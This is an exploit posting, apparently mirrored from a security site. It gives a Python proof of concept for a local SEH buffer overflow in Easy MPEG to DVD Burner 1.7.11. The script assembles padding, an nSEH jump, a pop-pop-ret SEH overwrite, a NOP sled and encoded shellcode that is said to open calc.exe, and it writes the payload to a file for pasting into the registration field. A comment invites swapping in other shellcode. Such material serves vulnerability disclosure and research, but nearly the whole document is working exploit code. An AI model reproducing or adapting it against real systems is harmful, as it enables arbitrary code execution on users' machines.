Easy MPEG to DVD Burner 1.7.11 - Local Buffer Overflow (SEH)
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来源:vfocus.net 作者:Shamel 发布时间:2018-05-03
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#!/usr/bin/python # Exploit Title: Easy MPEG to DVD Burner 1.7.11 SEH Local Buffer Overflow # Date: 2018-05-02 # Exploit Author: Marwan Shamel # Software Link: https://downloads.tomsguide.com/MPEG-Easy-Burner,0301-10418.html # Version: 1.7.11 # Tested on: Windows 7 Enterprise SP1 32 bit # Special thanks to my wife # Steps : Open the APP > click on register > Username field > just paste watever generated from python script in the txt file. junk = "\x42" * 1008 # below shell code will open calc.exe can be changed according to your needs just make sure to avoid bad chars x0d x00 x0a evil = "" evil += "\xda\xd7\xd9\x74\x24\xf4\xba\x07\xc8\xf9\x11\x5e\x2b" evil += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xee\xfb\x2a" evil += "\x0c\xed\xeb\x29\xef\x0e\xeb\x4d\x79\xeb\xda\x4d\x1d" evil += "\x7f\x4c\x7e\x55\x2d\x60\xf5\x3b\xc6\xf3\x7b\x94\xe9" evil += "\xb4\x36\xc2\xc4\x45\x6a\x36\x46\xc5\x71\x6b\xa8\xf4" evil += "\xb9\x7e\xa9\x31\xa7\x73\xfb\xea\xa3\x26\xec\x9f\xfe" evil += "\xfa\x87\xd3\xef\x7a\x7b\xa3\x0e\xaa\x2a\xb8\x48\x6c" evil += "\xcc\x6d\xe1\x25\xd6\x72\xcc\xfc\x6d\x40\xba\xfe\xa7" evil += "\x99\x43\xac\x89\x16\xb6\xac\xce\x90\x29\xdb\x26\xe3" evil += "\xd4\xdc\xfc\x9e\x02\x68\xe7\x38\xc0\xca\xc3\xb9\x05" evil += "\x8c\x80\xb5\xe2\xda\xcf\xd9\xf5\x0f\x64\xe5\x7e\xae" evil += "\xab\x6c\xc4\x95\x6f\x35\x9e\xb4\x36\x93\x71\xc8\x29" evil += "\x7c\x2d\x6c\x21\x90\x3a\x1d\x68\xfe\xbd\x93\x16\x4c" evil += "\xbd\xab\x18\xe0\xd6\x9a\x93\x6f\xa0\x22\x76\xd4\x5e" evil += "\x69\xdb\x7c\xf7\x34\x89\x3d\x9a\xc6\x67\x01\xa3\x44" evil += "\x82\xf9\x50\x54\xe7\xfc\x1d\xd2\x1b\x8c\x0e\xb7\x1b" evil += "\x23\x2e\x92\x7f\xa2\xbc\x7e\xae\x41\x45\xe4\xae" nSEH = "\xeb\x0C\x90\x90" #Jmp short 14 (EB0C) SEH = "\xae\x4a\x01\x10" #pop ebp # pop ebx # ret (DLL have ASLR,safeSEH,rebase off) nop = "\x90" * 16 data = junk + nSEH + SEH + nop + evil f = open ("Evil.txt", "w") f.write(data) f.close()
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